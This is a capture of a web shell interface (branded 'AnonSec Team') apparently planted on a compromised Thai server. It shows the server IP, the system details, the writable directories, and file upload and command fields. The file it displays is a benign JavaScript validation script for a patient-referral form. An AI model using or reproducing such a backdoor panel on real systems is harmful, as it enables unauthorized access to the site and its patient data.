NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 3.22.217.193
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/uat.pcu.in.th/assets/js/custom/modals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/uat.pcu.in.th/assets/js/custom/modals//form_send_case_validate1.js
// Stepper lement

var element = document.querySelector("#kt_stepper_example_basic");

// Initialize Stepper
var stepper = new KTStepper(element);

// Handle next step
stepper.on("kt.stepper.next", function (stepper) {
  if (
    stepper.currentStepIndex == 1 &&
    $("#doctor_target_id").val() == "" &&
    $("#doctor_target_name").val() == ""
  ) {
    Swal.fire({
      text: "โปรดเลือกนักสังคมสังเคราะห์!",
      icon: "error",
      buttonsStyling: false,
      confirmButtonText: "ตกลง",
      customClass: {
        confirmButton: "btn btn-primary",
      },
    });
  } else {
    stepper.goNext(); // go next step
  }
});

// Handle previous step
stepper.on("kt.stepper.previous", function (stepper) {
  stepper.goPrevious(); // go previous step
});

let select1 = $("#doctor_target_detail");
let select2 = $("#doctor_target_urgency");

// Handle submit step
let submitButton = $("#send_case_submit");
$("#send_case_submit").on("click", (e) => {
  e.preventDefault();
  if (select1.val() != "" && select2.val() != "") {
    let url = $("#kt_stepper_example_basic_form").attr("action");
    let data = new FormData($("#kt_stepper_example_basic_form").get(0));
    Swal.fire({
      title: `คุณต้องการส่งต่อผู้ป่วย?`,
      text: "",
      icon: "warning",
      showCancelButton: true,
      confirmButtonColor: "#3085d6",
      cancelButtonColor: "#d33",
      confirmButtonText: "ยืนยัน",
      cancelButtonText: "ยกเลิก",
    }).then((result) => {
      if (result.isConfirmed) {
        $.ajax({
          url: url,
          type: "POST",
          dataType: "html",
          data: data,
          processData: false,
          contentType: false,
          beforeSend: function () {
            $("#send_case_submit").attr("data-kt-indicator", "on");
          },
          success: function (res) {
            let { status, msg } = JSON.parse(res);
            if (res) {
              $("#send_case_submit").attr("data-kt-indicator", "off");

              Swal.fire({
                text: msg,
                icon: "success",
                buttonsStyling: false,
                showConfirmButton: false,
                timer: 1500,
              }).then(function (result) {
                window.location.reload();
              });
            } else {
              $("#send_case_submit").attr("data-kt-indicator", "off");
              Swal.fire({
                text: msg,
                icon: "error",
                buttonsStyling: false,
                confirmButtonText: "ตกลง",
                customClass: {
                  confirmButton: "btn btn-primary",
                },
              });
            }
          },
        });
      }
    });
  } else {
    if (select1.val() != "") {
      $("#doctor_target_detail_valid").addClass("d-none");
    } else {
      $("#doctor_target_detail_valid").removeClass("d-none");
    }

    if (select2.val() != "") {
      $("#doctor_target_urgency_valid").addClass("d-none");
    } else {
      $("#doctor_target_urgency_valid").removeClass("d-none");
    }
  }
});

select1.on("change", () => {
  if (select1.val() != "") {
    $("#doctor_target_detail_valid").addClass("d-none");
  } else {
    $("#doctor_target_detail_valid").removeClass("d-none");
  }
});

select2.on("change", () => {
  if (select2.val() != "") {
    $("#doctor_target_urgency_valid").addClass("d-none");
  } else {
    $("#doctor_target_urgency_valid").removeClass("d-none");
  }
});

Anon7 - 2022
AnonSec Team